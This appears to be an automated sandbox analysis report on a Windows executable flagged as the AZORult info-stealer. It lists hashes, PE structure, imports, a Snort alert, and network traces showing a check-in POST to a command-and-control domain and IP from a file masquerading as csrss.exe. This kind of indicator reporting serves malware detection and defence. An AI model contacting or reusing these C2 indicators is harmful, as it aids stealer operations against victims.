Preview:	regfi...i...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm&...`_...............................................................................................................................................................................................................................................................................................................................................7..HvLE.n......i...........i.;.w........^\|.........0...................0..hbin................p.\..,..........nk,....`_.................................. ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ....`_...... ........................... .......Z.......................Root........lf......Root....nk ....`_...................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.993697571252843
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
File size:	8425933
MD5:	1ac70328ce1dea448647022c5b360a67
SHA1:	4f295ccfc7b7a2eeeec53df66d22743dbac301a6
SHA256:	addcdf9e3bac722442fb269492fea86e91d4e97ee5df4ca5c03515d534fb0c51
SHA512:	26192e10e1b095739fd2b193c199aa689b0f7d26d57bef9718ef1cee41b95e5b4113cc987cd1847a7a1f3e727f0601099bde92591d3e153ddb37fa36e4f897c5
SSDEEP:	196608:oKFIqkBPpjIwzMYsK6fg4/Lovsc+eQ5AdlH3sxAPflIKap:vkFAYsrfx8vJ+eQAd5sxAPmfp
TLSH:	788633695E98403ED946193008CBFE35B63FFE1C0A3754873BD99D5CB82B2899C1E25B
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	b369f1b1619132c1

Static PE Info

General

Entrypoint:	0x425468
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b8494300a1f7342d4c600a7b12e15925

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00425388h
call 00007F0714FC77D9h
mov eax, 004254C8h
call 00007F0714FCA1DFh
mov edx, dword ptr [00428840h]
mov dword ptr [edx], eax
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [00428848h]
call 00007F0714FE5999h
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [004287DCh]
call 00007F0714FDEA2Fh
mov eax, dword ptr [00428840h]
call 00007F0714FCD461h
call 00007F0714FC6694h
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b000	0x1798	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x31000	0xb5d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1884	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2e000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x244cc	0x24600	False	0.5598622744845361	data	6.594375997321255	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x26000	0x2894	0x2a00	False	0.31556919642857145	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 4230402	3.7937570409882295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x29000	0x10f5	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2b000	0x1798	0x1800	False	0.3977864583333333	data	4.8854949370233145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x2d000	0x8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2e000	0x18	0x200	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1884	0x1a00	False	0.7889122596153846	data	6.586647864611828	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x31000	0xb5d8	0xb600	False	0.3879635989010989	data	4.485448040748785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x31360	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors
RT_ICON	0x32208	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors
RT_ICON	0x32ab0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors
RT_ICON	0x33178	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors
RT_ICON	0x336e0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896
RT_ICON	0x37908	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600
RT_ICON	0x39eb0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224
RT_ICON	0x3af58	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400
RT_ICON	0x3b8e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088
RT_RCDATA	0x3bd48	0x10	data
RT_RCDATA	0x3bd58	0x110	data
RT_GROUP_ICON	0x3be68	0x84	data
RT_VERSION	0x3beec	0x374	data	Russian	Russia
RT_MANIFEST	0x3c260	0x376	XML 1.0 document, ASCII text, with CRLF line terminators	Russian	Russia

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, WideCharToMultiByte, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, MessageBoxA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegCloseKey, OpenThreadToken, OpenProcessToken, GetTokenInformation, FreeSid, EqualSid, AllocateAndInitializeSid, AdjustTokenPrivileges
kernel32.dll	WriteFile, WinExec, WaitForSingleObject, TerminateProcess, SystemTimeToFileTime, Sleep, SetFileTime, SetFilePointer, SetErrorMode, SetEndOfFile, ReadFile, OpenProcess, MultiByteToWideChar, LocalFileTimeToFileTime, LoadLibraryA, GlobalFree, GlobalAlloc, GetVersion, GetUserDefaultLangID, GetProcAddress, GetModuleHandleA, GetLocalTime, GetLastError, GetFileTime, GetFileSize, GetExitCodeProcess, GetCurrentThread, GetCurrentProcess, FreeLibrary, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, DosDateTimeToFileTime, CompareFileTime, CloseHandle
gdi32.dll	StretchDIBits, StretchBlt, SetWindowOrgEx, SetTextColor, SetStretchBltMode, SetRectRgn, SetROP2, SetPixel, SetDIBits, SetBrushOrgEx, SetBkMode, SetBkColor, SelectObject, SaveDC, RestoreDC, OffsetRgn, MoveToEx, IntersectClipRect, GetStockObject, GetPixel, GetDIBits, ExtSelectClipRgn, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreateRectRgn, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CombineRgn, BitBlt
user32.dll	WaitMessage, ValidateRect, TranslateMessage, ShowWindow, SetWindowPos, SetTimer, SetParent, SetForegroundWindow, SetFocus, SetCursor, SendMessageA, ScreenToClient, ReleaseDC, PostQuitMessage, OffsetRect, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsIconic, InvalidateRect, GetWindowRgn, GetWindowRect, GetWindowDC, GetUpdateRgn, GetSystemMetrics, GetSystemMenu, GetSysColor, GetParent, GetWindow, GetKeyState, GetFocus, GetDCEx, GetDC, GetCursorPos, GetClientRect, GetCapture, FillRect, ExitWindowsEx, EnumWindows, EndPaint, EnableWindow, EnableMenuItem, DrawIcon, DestroyWindow, DestroyIcon, DeleteMenu, CopyImage, ClientToScreen, BeginPaint, CharLowerBuffA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegQueryInfoKeyA, RegOpenKeyExA, RegEnumKeyExA, RegCreateKeyExA, LookupPrivilegeValueA, GetUserNameA
kernel32.dll	WritePrivateProfileStringA, SetFileAttributesA, SetCurrentDirectoryA, RemoveDirectoryA, LoadLibraryA, GetWindowsDirectoryA, GetVersionExA, GetTimeFormatA, GetTempPathA, GetSystemDirectoryA, GetShortPathNameA, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetFullPathNameA, GetFileAttributesA, GetDiskFreeSpaceA, GetDateFormatA, GetComputerNameA, GetCommandLineA, FindNextFileA, FindFirstFileA, ExpandEnvironmentStringsA, DeleteFileA, CreateFileA, CreateDirectoryA, CompareStringA
gdi32.dll	GetTextExtentPoint32A, GetObjectA, CreateFontIndirectA, AddFontResourceA
user32.dll	wvsprintfA, SetWindowLongA, SetPropA, SendMessageA, RemovePropA, RegisterClassA, PostMessageA, PeekMessageA, MessageBoxA, LoadIconA, LoadCursorA, GetWindowTextLengthA, GetWindowTextA, GetWindowLongA, GetPropA, GetClassLongA, GetClassInfoA, FindWindowA, DrawTextA, DispatchMessageA, DefWindowProcA, CreateWindowExA, CallWindowProcA
shell32.dll	SHGetFileInfoA
comctl32.dll	ImageList_Draw, ImageList_SetBkColor, ImageList_Create, InitCommonControls
ole32.dll	OleInitialize
oleaut32.dll	SysAllocStringLen
winmm.dll	timeKillEvent, timeSetEvent
shell32.dll	ShellExecuteExA, ShellExecuteA
cabinet.dll	FDIDestroy, FDICopy, FDICreate
ole32.dll	OleInitialize, CoTaskMemFree, CoCreateInstance, CoUninitialize, CoInitialize
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHChangeNotify, SHBrowseForFolderA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3141.8.192.15149695802029465 03/25/23-14:27:06.642541	TCP	2029465	ET TROJAN Win32/AZORult V3.2 Client Checkin M15	49695	80	192.168.2.3	141.8.192.151

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 25, 2023 14:27:06.580688953 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.641952038 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.642134905 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.642540932 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.703507900 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708403111 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708455086 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708488941 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.708503008 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708519936 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.708548069 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708560944 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.708592892 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708611965 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.708640099 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708659887 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.708688021 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708724976 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.708733082 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708759069 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.708779097 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708794117 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.708825111 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.708882093 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.769632101 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.769684076 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.769721985 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.769730091 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.769757986 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.769778967 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.769824028 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.769843102 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.769886017 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.769893885 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.769932985 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.769938946 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.769978046 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.769983053 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770023108 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770031929 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770068884 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770102978 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770112991 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770123005 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770162106 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770205975 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770207882 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770221949 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770252943 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770272017 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770303011 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770313978 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770349026 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770359993 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770395041 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770401001 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770440102 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770457029 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770486116 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770498037 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770530939 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.770539045 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.770597935 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832139015 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832206011 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832254887 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832292080 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832292080 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832299948 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832345009 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832349062 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832349062 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832391024 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832437992 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832446098 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832484961 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832513094 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832531929 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832547903 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832590103 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832598925 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832637072 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832648993 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832695007 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832709074 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832739115 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832747936 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832784891 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832791090 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832833052 CET	80	49695	141.8.192.151	192.168.2.3
Mar 25, 2023 14:27:06.832845926 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.832895041 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.841717958 CET	49695	80	192.168.2.3	141.8.192.151
Mar 25, 2023 14:27:06.902805090 CET	80	49695	141.8.192.151	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 25, 2023 14:27:06.475481033 CET	61787	53	192.168.2.3	8.8.8.8
Mar 25, 2023 14:27:06.561242104 CET	53	61787	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 25, 2023 14:27:06.475481033 CET	192.168.2.3	8.8.8.8	0xa238	Standard query (0)	f0355889.xsph.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 25, 2023 14:27:06.561242104 CET	8.8.8.8	192.168.2.3	0xa238	No error (0)	f0355889.xsph.ru		141.8.192.151	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

f0355889.xsph.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49695	141.8.192.151	80	C:\Users\user\AppData\Roaming\csrss.exe

Timestamp	kBytes transferred	Direction	Data
Mar 25, 2023 14:27:06.642540932 CET	93	OUT	POST /Panel/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: f0355889.xsph.ru Content-Length: 107 Cache-Control: no-cache Data Raw: 4a 4f ed 3e 32 ed 3e 3c 89 28 39 fe 49 2f fb 38 2f fa 49 4c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 fd 28 39 ff 4e 4e 8d 28 39 ff 28 39 f1 28 38 8c 4b 48 ed 3e 3e ed 3e 32 ed 3e 3d ed 3e 3d ed 3e 33 89 28 38 8c 28 39 fa 28 39 f8 28 39 f1 28 39 f1 4f 2f fb 3d 4e ed 3e 3a ed 3e 3c Data Ascii: JO>2><(9I/8/IL>3>>>;>>>3>:>=?N(9(9NN(9(9(8KH>>>2>=>=>3(8(9(9(9(9O/=N>:><
Mar 25, 2023 14:27:06.708403111 CET	94	IN	HTTP/1.1 404 Not Found Server: openresty Date: Sat, 25 Mar 2023 13:27:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 65 30 39 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 Data Ascii: e094<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4040</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;position:relative}.w
Mar 25, 2023 14:27:06.708455086 CET	96	IN	Data Raw: 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 68 65 69 67 68 74 3a 34 35 30 70 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 Data Ascii: rapper .content .left-side{display:table;height:450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:ve
